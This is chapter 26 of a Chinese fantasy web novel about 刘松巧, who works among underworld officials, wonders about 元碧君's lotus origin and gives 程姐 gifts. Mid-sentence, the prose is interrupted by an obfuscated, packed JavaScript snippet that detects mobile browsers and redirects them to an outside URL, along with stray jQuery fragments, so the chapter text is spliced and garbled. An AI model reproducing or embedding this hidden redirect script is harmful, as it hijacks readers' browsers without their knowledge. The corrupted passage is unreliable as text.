26. 你今年几岁

作品:《鬼差请我去断案

    刘松巧机械地转过头来看向Leo,半天才弹出一声:“啊?”


    什么叫作元碧君的本源,是荷花?


    她脑子有点乱,首先元碧君是鬼使,她的本源又是什么意思?荷花作为本源又是什么,荷花鬼吗?


    不对不对,那叫生前,不是本源。就算是荷花鬼,也没有死了就成人形的。


    那是荷花成精了?!


    “你是说原型?”


    Leo伸出一根手指左右摆动:“No,是origin,不是prototype。”


    刘松巧白了他一眼,感觉他是在故意拽文。


    origin,起源,出身,来源于荷花,又不是荷花本身化成人形,有点抽象。如果通俗点理解,可不可以认为荷花是她妈?


    生于荷花的是什么,总不会是莲子吧?肯定不是这种生理意义上的来源。


    若是什么非物质的,那可太宽泛了。精怪传奇看了一箩筐,但说穿了都是写书人编的,现下这个是真的,未必就能对应上。


    稳妥起见,刘松巧不想再搭理Leo,也得勉为其难请教知情人:“大律师,你能不能透露下,源自荷花,怎么个源?”


    Leo高深莫测地收回手,正经站直。刘松巧也跟着端正身形,恭敬期待神秘世界揭开挡在前面的幕布。


    Leo清了清嗓子:“咳,我也不知道。”


    刘松巧嘴角抽搐,忍住了一些冲动:“怪不得你要挨打呢。”


    “哎呀呀,小朋友,不要生气嘛,叔叔给你发红包,讲两句好话来听听。”Leo说的同时跑开一米远,一副恶作剧得逞的样子。


    刘松巧摇头:“你几岁了,幼不幼稚,还自称‘叔叔’,切。”


    Leo掰了下手指头:“大个十多岁,不喊叔叔也喊不了爸啊,哈哈哈。”


    说完就一溜烟跑出门去了。


    刘松巧没有想象中的暴跳如雷,反而有些好笑。这人开起玩笑来怎么像个小孩,说好的精英呢?


    环视办公室,刚才一场闹剧弄得陈设有些凌乱,小云还忙着做报表,反正她也没事,眼里看到有活,那就干。


    一边弯腰捡东西,一边脑子里不住地胡思乱想,刚才她找元碧君要荷花,是不是太冒犯了?她有些后怕,还好元碧君的眼神里没有什么愤怒。


    而且她也没掏出来那张长长的黑名单,应该不记恨自己。不知者不怪嘛!


    对比起来,Leo到底有多冒犯,才能让元碧君追着打,还专门记本账?


    看Leo的架势,好像还乐在其中,真搞不懂他。


    向明今外勤回来,办公室茶几上已经泡好了一壶新茶,刘松巧正抱着本书窝在沙发上。


    向明今在旁边捡了个位置坐下,瞟了一眼书的内容,轻言细语问道:“还不睡?”


    刘松巧放下书,脑子里想的全是元碧君的事。这本《精怪杂谈》介绍各色精怪,简直是本地府的《山海经》。她把植物相关的找了个遍,却没找出半点线索。自己找答案是走不通了,不如问问向老师。


    刘松巧:“能问个问题吗?”


    向老师:“可以。”


    刘松巧琢磨怎么措辞不显得冒昧:“向老师,你知道元姐姐的身份,不,身世,是什么吗?”


    向老师微张着嘴,一时不明白她怎么问这个。


    “我和她说想要枝荷花,多尴尬啊。”刘松巧捂着脸,“还有救吗?”


    向老师睁大了眼,转瞬又半阖上,低头似在偷笑:“无妨,刚才路上遇见她,似乎心情不错。”


    刘松巧放下手:“真的?”


    向老师:“骗你作甚?”


    “不过她,和荷花,”刘松巧比划出捧莲花的手势,“到底是什么关系?”


    向老师没急着回答她,先看了眼桌上的书。


    “背后不可语人,”向老师婉拒,“你要真的好奇,不如亲自去问她。”


    刘松巧:“不会被打吗?”


    向老师:“不会,她脾气很好。”


    姑且信任向老师吧。


    刘松巧睡得晚,按理说该沉浸梦乡,但心里搁着问题得不到解答,翻来覆去的睡不安稳。


    冥冥之中,似有一股清香飘荡而来,眼前漆黑变得明亮起来,不是刺眼的白,朦朦胧胧看不清楚,一阵浓郁的困意袭来。有一阵风拂过后脑勺,像是一双温柔的手。


    是元碧君吗?她想回头,但连问题都还没问出口便沉沉睡去,神经都温顺下来不再乱跳。


    醒来神清气爽,毫无半点熬夜带来的不适感。足以证明,又在人家梦里游了一趟。


    奇怪的是,头发和睡衣染上一股清香,抱着衣服细闻,与梦中一般无二。


    连松糕都被这股香味吸引,围着刘松巧上蹿下跳,在她怀里拱来拱去,舒服得踩奶。


    妈妈笑得不行,在第四次撵开小猫失败后问她是不是擦了猫薄荷。


    那没有,擦的是人薄荷。


    步入六月,气温渐升,高考前动员如火如荼,整个社会都被这种氛围所感染。


    刘松巧也有些紧张,还有六个月,专业课一遍都没复习完,甚至还差不少。她索性关了手机扔到隔壁房间,保证不分心。


    不知是专心的效果,还是时间迫近带来的压力,效率确实高了不少,一天背下来甚是欣慰。


    晚饭后才打开手机,一连弹出几个快递到站消息。距离楼下快递点关门还有半小时,刘松巧赶紧跑去取。


    今天要是不取,晚上空着手面对程姐多尴尬,尤其是对面小云桌上摆着那么大一束花,想遮掩都遮不过去。


    打包成一个巨大礼盒,刘松巧犹豫要不要写张贺卡,不写吧,干巴巴的像什么话;写吧,都能猜到程姐会说“煽什么情”。更重要的是,直接送到办公室,人不到礼先到,让人家拆还是不拆?


    刘松巧思索三秒,发了个消息给向老师。


    “里面都是什么东西?”向老师替她抱着盒子,双臂动都不敢动,怕晃散架了。


    刘松巧轻手轻脚接过盒子:“秘密。辛苦你帮我拿过来。”


    向明今原本想把东西交给她就去忙工作,现下少说也得去看个究竟。


    “程姐,谢谢您这些天的帮助,我特地选了些东西,”刘松巧郑重


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320259|198224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地将盒子放在茶几上,恭候程姐亲自启封,“您看合不合适。”


    程姐煞有介事地盯着她,刘松巧满脑子重复“我不说”“我不说”,试图抵抗住读心术,不让程姐提前探知盒子里面到底是什么。


    程姐噗嗤笑出声来:“神神秘秘的,什么惊喜?”


    刘松巧摆出个请的手势:“拆开就知道了。”


    “好好好,我不听你说什么,你别把脑子用坏了。”


    程姐隔空挥了两下,包装纸顺畅褪下,自动飞到一边叠放整齐,边角完好无损。


    刘松巧心快提到嗓子眼,堪比考研查分前的紧张。程姐迎上刘松巧期待的眼神,顺着她的目光轻轻抬起盒子上盖。


    比头还大的黑色花朵静静躺在盒子里,尽显雍容气度。


    程姐眼中闪过一丝光亮,下一秒,整朵花悬空漂浮起来,稳稳当当,花瓣抖都没抖一下。


    “黑牡丹,有心了。”程姐嘴角勾起一抹好看的弧度,看上去很满意。


    刘松巧也跟着放心了,看来她的心思没白费。


    逆着灯光,原本纯黑的花瓣透出暗沉红色,明艳不足,贵气有余。


    程姐凭空变出个长花瓶放在办公桌上,正正好托起牡丹的巨大花朵。


    “程姐,下面还有一层。”刘松巧指指盒子,示意再拆。


    “行,马上。”程姐挥挥手,隔板飞向一旁,露出下面的大红色。


    程姐:“这是什么?”


    刘松巧示意向老师帮帮忙,一人捧起一长条红纸。


    “主,动,撤,诉?”程姐从上往下念,“调,解,结案……”


    “哈哈,你这都什么啊,”程姐抬手让对联浮了起来,“你看贴哪儿合适?”


    刘松巧没想到程姐接受度这么高,立马就要贴上,一时也没想好,摸着头说:“太张扬了也不好,要不放里面点?”


    “那就这儿吧。”


    对联飞到最里面的文件柜上,一左一右对得丝毫不差。


    “还有个小玩意儿。”程姐伸手取出长方盒子,看不出个所以然。


    盒子尚未打开,便隐约散发出一股浓香。


    “还是香的,有意思,”程姐轻轻打开包装,只见一尊巴掌大小的灰黑色女神像,低眉垂目,慈悲但威严。


    程姐低了头没说话,仔细端详。


    刘松巧见程姐没说话,有些紧张,解释道:“这是雕刻蜡烛,感觉好看又有意思,点燃了也算艺术。”


    “嗯。”程姐把蜡烛收了回去,笑容也收敛得无影无踪。


    刘松巧有些慌张,这蜡烛是不是送错了?


    程姐挑眉:“有点前卫。”


    “啊,那我换一个?”刘松巧没想到会是这个原因,下意识想要补救。


    “无妨,送了我就收。”程姐回到办公桌,拿出一份文件,“正好你俩都在,看看这个。”


    “判官司的通知,”刘松巧和向老师坐一块儿看,“辅助审案?”


    “嗯,明天子时,叫我们派人去判官司报到。”


    程姐端起茶杯,眼神阴沉。


    “要现代人。”